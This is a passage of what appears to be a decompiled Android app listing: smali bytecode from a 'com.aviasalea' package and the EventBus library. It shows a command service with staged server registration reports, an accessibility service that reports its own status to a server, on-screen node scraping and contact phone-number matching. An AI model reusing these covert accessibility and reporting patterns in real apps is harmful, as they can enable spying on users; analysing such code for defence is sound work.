                                      38invoke-virtual {v0, v2, v3}, Landroid/app/DialogFragment;->show(Landroid/app/FragmentManager;Ljava/lang/String;)V
                                      39goto/16 :goto_8
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.executionScope:Ljava/lang/Object
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.getFragmentManager
                                      • android.support.v4.app.FragmentManager.executePendingTransactions
                                      • android.support.v4.app.FragmentManager.findFragmentByTag
                                      • android.support.v4.app.DialogFragment.dismiss
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.argumentsForErrorDialog:Landroid/os/Bundle
                                      • android.support.v4.app.DialogFragment.show
                                      Strings
                                      • de.greenrobot.eventbus.error_dialog
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.prologue
                                      3iget-object v3, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->executionScope:Ljava/lang/Object;
                                      5invoke-static {v3, p1}, Lde/greenrobot/event/util/ErrorDialogManager;->access$000(Ljava/lang/Object;Lde/greenrobot/event/util/ThrowableFailureEvent;)Z
                                      6move-result v3
                                      7if-nez v3, :cond_9
                                      8goto_8: return-void
                                      9cond_9:
                                      10invoke-static {p1}, Lde/greenrobot/event/util/ErrorDialogManager;->checkLogException(Lde/greenrobot/event/util/ThrowableFailureEvent;)V
                                      12invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->getFragmentManager()Landroid/support/v4/app/FragmentManager;
                                      13move-result-object v2
                                      15invoke-virtual {v2}, Landroid/support/v4/app/FragmentManager;->executePendingTransactions()Z
                                      17const-string v3, "de.greenrobot.eventbus.error_dialog"
                                      19invoke-virtual {v2, v3}, Landroid/support/v4/app/FragmentManager;->findFragmentByTag(Ljava/lang/String;)Landroid/support/v4/app/Fragment;
                                      20move-result-object v1
                                      21check-cast v1, Landroid/support/v4/app/DialogFragment;
                                      22if-eqz v1, :cond_20
                                      24invoke-virtual {v1}, Landroid/support/v4/app/DialogFragment;->dismiss()V
                                      25cond_20:
                                      26sget-object v3, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      27iget-boolean v4, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->finishAfterDialog:Z
                                      29iget-object v5, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->argumentsForErrorDialog:Landroid/os/Bundle;
                                      31invoke-virtual {v3, p1, v4, v5}, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->prepareErrorFragment(Lde/greenrobot/event/util/ThrowableFailureEvent;ZLandroid/os/Bundle;)Ljava/lang/Object;
                                      32move-result-object v0
                                      33check-cast v0, Landroid/support/v4/app/DialogFragment;
                                      34if-eqz v0, :cond_8
                                      36const-string v3, "de.greenrobot.eventbus.error_dialog"
                                      38invoke-virtual {v0, v2, v3}, Landroid/support/v4/app/DialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
                                      39goto/16 :goto_8
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep2
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep1
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep1
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep1
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v4, 0xea60
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_31
                                      7iget-boolean v0, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      8if-nez v0, :cond_12
                                      9const-wide/16 v0, 0x0
                                      11invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep2(J)V
                                      12cond_12:
                                      13iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      14if-eqz v0, :cond_29
                                      16iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      18const-string v1, "accepted"
                                      20invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v0
                                      22if-nez v0, :cond_26
                                      23iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      25invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep1(J)V
                                      26goto_25: return-void
                                      27cond_26: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      28goto/16 :goto_25
                                      29cond_29: iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      31invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep1(J)V
                                      32iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      33goto/16 :goto_25
                                      34cond_31: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      35iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart1:Z
                                      37invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep1(J)V
                                      38goto/16 :goto_25
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep3
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep2
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep2
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep2
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v4, 0xea60
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_31
                                      7iget-boolean v0, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      8if-nez v0, :cond_12
                                      9const-wide/16 v0, 0x0
                                      11invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep3(J)V
                                      12cond_12:
                                      13iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      14if-eqz v0, :cond_29
                                      16iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      18const-string v1, "accepted"
                                      20invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v0
                                      22if-nez v0, :cond_26
                                      23iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      25invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep2(J)V
                                      26goto_25: return-void
                                      27cond_26: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      28goto/16 :goto_25
                                      29cond_29: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      30iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      32invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep2(J)V
                                      33goto/16 :goto_25
                                      34cond_31: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      35iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart2:Z
                                      37invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep2(J)V
                                      38goto/16 :goto_25
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep4
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep3
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep3
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep3
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v4, 0xea60
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_31
                                      7iget-boolean v0, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      8if-nez v0, :cond_12
                                      9const-wide/16 v0, 0x0
                                      11invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep4(J)V
                                      12cond_12:
                                      13iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      14if-eqz v0, :cond_29
                                      16iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      18const-string v1, "accepted"
                                      20invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v0
                                      22if-nez v0, :cond_26
                                      23iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      25invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep3(J)V
                                      26goto_25: return-void
                                      27cond_26: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      28goto/16 :goto_25
                                      29cond_29: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      30iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      32invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep3(J)V
                                      33goto/16 :goto_25
                                      34cond_31: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      35iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart3:Z
                                      37invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep3(J)V
                                      38goto/16 :goto_25
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep5
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep4
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep4
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep4
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v4, 0xea60
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_31
                                      7iget-boolean v0, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      8if-nez v0, :cond_12
                                      9const-wide/16 v0, 0x0
                                      11invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep5(J)V
                                      12cond_12:
                                      13iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      14if-eqz v0, :cond_29
                                      16iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      18const-string v1, "accepted"
                                      20invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v0
                                      22if-nez v0, :cond_26
                                      23iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      25invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep4(J)V
                                      26goto_25: return-void
                                      27cond_26: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      28goto/16 :goto_25
                                      29cond_29: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      30iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      32invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep4(J)V
                                      33goto/16 :goto_25
                                      34cond_31: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      35iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart4:Z
                                      37invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep4(J)V
                                      38goto/16 :goto_25
                                      Cross References
                                      APIs
                                      • java.lang.String.contains
                                      • java.lang.String.length
                                      • java.lang.String.contains
                                      • android.telephony.PhoneNumberUtils.compare
                                      Strings
                                      • #
                                      • *
                                      Position Instruction Meta Information
                                      0.param p1, "phone" # Ljava/lang/String;
                                      1.param p2, "contact" # Lcom/aviasalea/cntcts/Contact;
                                      2.prologue
                                      4const-string v0, "#"
                                      6invoke-virtual {p1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      7move-result v0
                                      8if-nez v0, :cond_20
                                      10invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      11move-result v0
                                      12sget v1, Lcom/aviasalea/checktls/CntctsTls;->MIN_PHONE_NUMBER:I
                                      13if-le v0, v1, :cond_20
                                      15const-string v0, "*"
                                      17invoke-virtual {p1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      18move-result v0
                                      19if-nez v0, :cond_20
                                      21iget-object v0, p2, Lcom/aviasalea/cntcts/Contact;->phoneNumber:Ljava/lang/String;
                                      23invoke-static {p1, v0}, Landroid/telephony/PhoneNumberUtils;->compare(Ljava/lang/String;Ljava/lang/String;)Z
                                      24move-result v0
                                      25if-eqz v0, :cond_22
                                      26cond_20: const/4 v0, 0x1
                                      27goto_21: return v0
                                      28cond_22: const/4 v0, 0x0
                                      29goto/16 :goto_21
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • java.lang.String.equals
                                      • com.aviasalea.Realtalk.setHardMode
                                      • com.aviasalea.srs.CmndSrs.sendHardModeToServer
                                      Strings
                                      • on
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3iget-wide v2, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      5invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      6move-result-wide v4
                                      7cmp-long v1, v2, v4
                                      8if-eqz v1, :cond_1f
                                      9iget-wide v2, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      11invoke-static {p1, v2, v3}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      13iget-object v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->hardMode:Ljava/lang/String;
                                      15const-string v2, "on"
                                      17invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      18move-result v0
                                      20invoke-static {p1, v0}, Lcom/aviasalea/Realtalk;->setHardMode(Landroid/content/Context;Z)V
                                      21const-wide/16 v2, 0x0
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendHardModeToServer(J)V
                                      24cond_1f: return-void
                                      APIs
                                      • java.util.regex.Pattern.compile
                                      • java.util.regex.Pattern.compile
                                      • java.util.regex.Pattern.compile
                                      Strings
                                      • ^(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}$
                                      • ^(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$
                                      • ^((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)::((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)$
                                      Position Instruction Meta Information
                                      0.prologue
                                      2const-string v0, "^(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}$"
                                      4invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                                      5move-result-object v0
                                      6sput-object v0, Lcom/aviasalea/ping/IPTools;->IPV4_PATTERN:Ljava/util/regex/Pattern;
                                      8const-string v0, "^(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$"
                                      10invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                                      11move-result-object v0
                                      12sput-object v0, Lcom/aviasalea/ping/IPTools;->IPV6_STD_PATTERN:Ljava/util/regex/Pattern;
                                      14const-string v0, "^((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)::((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)$"
                                      16invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                                      17move-result-object v0
                                      18sput-object v0, Lcom/aviasalea/ping/IPTools;->IPV6_HEX_COMPRESSED_PATTERN:Ljava/util/regex/Pattern;
                                      19return-void
                                      APIs
                                      • android.accessibilityservice.AccessibilityService.onDestroy
                                      • com.aviasalea.srs.GPSrs.sendAccessStatusRequest
                                      • android.support.v4.content.LocalBroadcastManager.getInstance
                                      • com.aviasalea.srs.GPSrs.mRealTalkAccessibilityReceiver:Landroid/content/BroadcastReceiver
                                      • android.support.v4.content.LocalBroadcastManager.unregisterReceiver
                                      Strings
                                      • access
                                      • off
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/accessibilityservice/AccessibilityService;->onDestroy()V
                                      3new-instance v0, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      5const-string v1, "access"
                                      7const-string v2, "off"
                                      9invoke-direct {v0, v1, v2}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      11invoke-direct {p0, v0}, Lcom/aviasalea/srs/GPSrs;->sendAccessStatusRequest(Lcom/aviasalea/srs/api/requests/data/ReportData;)V
                                      13invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
                                      14move-result-object v0
                                      16iget-object v1, p0, Lcom/aviasalea/srs/GPSrs;->mRealTalkAccessibilityReceiver:Landroid/content/BroadcastReceiver;
                                      18invoke-virtual {v0, v1}, Landroid/support/v4/content/LocalBroadcastManager;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
                                      19return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • de.greenrobot.event.EventBus$1.<init>
                                      • java.util.HashMap.<init>
                                      • java.util.HashMap.<init>
                                      • java.util.concurrent.ConcurrentHashMap.<init>
                                      • android.os.Looper.getMainLooper
                                      • de.greenrobot.event.HandlerPoster.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "builder" # Lde/greenrobot/event/EventBusBuilder;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      4new-instance v0, Lde/greenrobot/event/EventBus$1;
                                      6invoke-direct {v0, p0}, Lde/greenrobot/event/EventBus$1;-><init>(Lde/greenrobot/event/EventBus;)V
                                      7iput-object v0, p0, Lde/greenrobot/event/EventBus;->currentPostingThreadState:Ljava/lang/ThreadLocal;
                                      8new-instance v0, Ljava/util/HashMap;
                                      10invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                      11iput-object v0, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      12new-instance v0, Ljava/util/HashMap;
                                      14invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                      15iput-object v0, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      16new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
                                      18invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
                                      19iput-object v0, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      20new-instance v0, Lde/greenrobot/event/HandlerPoster;
                                      22invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                      23move-result-object v1
                                      24const/16 v2, 0xa
                                      26invoke-direct {v0, p0, v1, v2}, Lde/greenrobot/event/HandlerPoster;-><init>(Lde/greenrobot/event/EventBus;Landroid/os/Looper;I)V
                                      27iput-object v0, p0, Lde/greenrobot/event/EventBus;->mainThreadPoster:Lde/greenrobot/event/HandlerPoster;
                                      28new-instance v0, Lde/greenrobot/event/BackgroundPoster;
                                      30invoke-direct {v0, p0}, Lde/greenrobot/event/BackgroundPoster;-><init>(Lde/greenrobot/event/EventBus;)V
                                      31iput-object v0, p0, Lde/greenrobot/event/EventBus;->backgroundPoster:Lde/greenrobot/event/BackgroundPoster;
                                      32new-instance v0, Lde/greenrobot/event/AsyncPoster;
                                      34invoke-direct {v0, p0}, Lde/greenrobot/event/AsyncPoster;-><init>(Lde/greenrobot/event/EventBus;)V
                                      35iput-object v0, p0, Lde/greenrobot/event/EventBus;->asyncPoster:Lde/greenrobot/event/AsyncPoster;
                                      36new-instance v0, Lde/greenrobot/event/SubscriberMethodFinder;
                                      38iget-object v1, p1, Lde/greenrobot/event/EventBusBuilder;->skipMethodVerificationForClasses:Ljava/util/List;
                                      40invoke-direct {v0, v1}, Lde/greenrobot/event/SubscriberMethodFinder;-><init>(Ljava/util/List;)V
                                      41iput-object v0, p0, Lde/greenrobot/event/EventBus;->subscriberMethodFinder:Lde/greenrobot/event/SubscriberMethodFinder;
                                      42iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->logSubscriberExceptions:Z
                                      43iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->logSubscriberExceptions:Z
                                      44iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->logNoSubscriberMessages:Z
                                      45iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->logNoSubscriberMessages:Z
                                      46iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->sendSubscriberExceptionEvent:Z
                                      47iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->sendSubscriberExceptionEvent:Z
                                      48iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->sendNoSubscriberEvent:Z
                                      49iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->sendNoSubscriberEvent:Z
                                      50iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->throwSubscriberException:Z
                                      51iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->throwSubscriberException:Z
                                      52iget-boolean v0, p1, Lde/greenrobot/event/EventBusBuilder;->eventInheritance:Z
                                      53iput-boolean v0, p0, Lde/greenrobot/event/EventBus;->eventInheritance:Z
                                      55iget-object v0, p1, Lde/greenrobot/event/EventBusBuilder;->executorService:Ljava/util/concurrent/ExecutorService;
                                      56iput-object v0, p0, Lde/greenrobot/event/EventBus;->executorService:Ljava/util/concurrent/ExecutorService;
                                      57return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                                      • java.util.List.isEmpty
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • android.text.TextUtils.equals
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.param p2, "text" # Ljava/lang/String;
                                      3.prologue
                                      4const/4 v2, 0x0
                                      5if-nez p0, :cond_5
                                      6move-object v1, v2
                                      7goto_4: return-object v1
                                      8cond_5:
                                      9invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                                      10move-result-object v0
                                      11if-eqz v0, :cond_11
                                      13invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      14move-result v3
                                      15if-eqz v3, :cond_13
                                      16cond_11: move-object v1, v2
                                      17goto/16 :goto_4
                                      18cond_13:
                                      19invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      20move-result-object v3
                                      21cond_17:
                                      22invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                      23move-result v4
                                      24if-eqz v4, :cond_2e
                                      26invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      27move-result-object v1
                                      28check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      30invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      31move-result-object v4
                                      33invoke-static {v4, p2}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                                      34move-result v4
                                      35if-eqz v4, :cond_17
                                      36goto/16 :goto_4
                                      37cond_2e: move-object v1, v2
                                      38goto/16 :goto_4
                                      Cross References
                                      APIs
                                      • android.content.ComponentName.<init>
                                      • android.app.job.JobInfo$Builder.<init>
                                      • android.app.job.JobInfo$Builder.setMinimumLatency
                                      • android.app.job.JobInfo$Builder.setOverrideDeadline
                                      • android.content.Context.getSystemService
                                      • android.app.job.JobInfo$Builder.build
                                      • android.app.job.JobScheduler.schedule
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/annotation/TargetApi;
                                      2value = 0x17
                                      3.end annotation
                                      4.prologue
                                      5const-wide/32 v4, 0xea60
                                      6new-instance v2, Landroid/content/ComponentName;
                                      7const-class v3, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;
                                      9invoke-direct {v2, p0, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      10new-instance v0, Landroid/app/job/JobInfo$Builder;
                                      11const/4 v3, 0x0
                                      13invoke-direct {v0, v3, v2}, Landroid/app/job/JobInfo$Builder;-><init>(ILandroid/content/ComponentName;)V
                                      15invoke-virtual {v0, v4, v5}, Landroid/app/job/JobInfo$Builder;->setMinimumLatency(J)Landroid/app/job/JobInfo$Builder;
                                      17invoke-virtual {v0, v4, v5}, Landroid/app/job/JobInfo$Builder;->setOverrideDeadline(J)Landroid/app/job/JobInfo$Builder;
                                      18const-class v3, Landroid/app/job/JobScheduler;
                                      20invoke-virtual {p0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/Class;)Ljava/lang/Object;
                                      21move-result-object v1
                                      22check-cast v1, Landroid/app/job/JobScheduler;
                                      23if-eqz v1, :cond_27
                                      25invoke-virtual {v0}, Landroid/app/job/JobInfo$Builder;->build()Landroid/app/job/JobInfo;
                                      26move-result-object v3
                                      28invoke-virtual {v1, v3}, Landroid/app/job/JobScheduler;->schedule(Landroid/app/job/JobInfo;)I
                                      29cond_27: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.isPlaySound
                                      • android.media.RingtoneManager.getDefaultUri
                                      • com.aviasalea.srs.CmndSrs.getApplicationContext
                                      • android.media.RingtoneManager.getRingtone
                                      • android.media.Ringtone.play
                                      • java.lang.Exception.printStackTrace
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {p0}, Lcom/aviasalea/Realtalk;->isPlaySound(Landroid/content/Context;)Z
                                      3move-result v3
                                      4if-eqz v3, :cond_16
                                      5const/4 v3, 0x2
                                      6try_start_7:
                                      7invoke-static {v3}, Landroid/media/RingtoneManager;->getDefaultUri(I)Landroid/net/Uri;
                                      8move-result-object v1
                                      10invoke-virtual {p0}, Lcom/aviasalea/srs/CmndSrs;->getApplicationContext()Landroid/content/Context;
                                      11move-result-object v3
                                      13invoke-static {v3, v1}, Landroid/media/RingtoneManager;->getRingtone(Landroid/content/Context;Landroid/net/Uri;)Landroid/media/Ringtone;
                                      14move-result-object v2
                                      16invoke-virtual {v2}, Landroid/media/Ringtone;->play()V
                                      17try_end_16: return-void
                                      18catch_17: move-exception v0
                                      20invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      22invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      23move-result-object v3
                                      25invoke-static {v3}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      26goto/16 :goto_16
                                      APIs
                                      • java.lang.reflect.Constructor.newInstance
                                      • android.util.Log.e
                                      • java.lang.RuntimeException.<init>
                                      Strings
                                      • Original exception:
                                      • Could not create failure event
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0:
                                      2iget-object v3, p0, Lde/greenrobot/event/util/AsyncExecutor$1;->val$runnable:Lde/greenrobot/event/util/AsyncExecutor$RunnableEx;
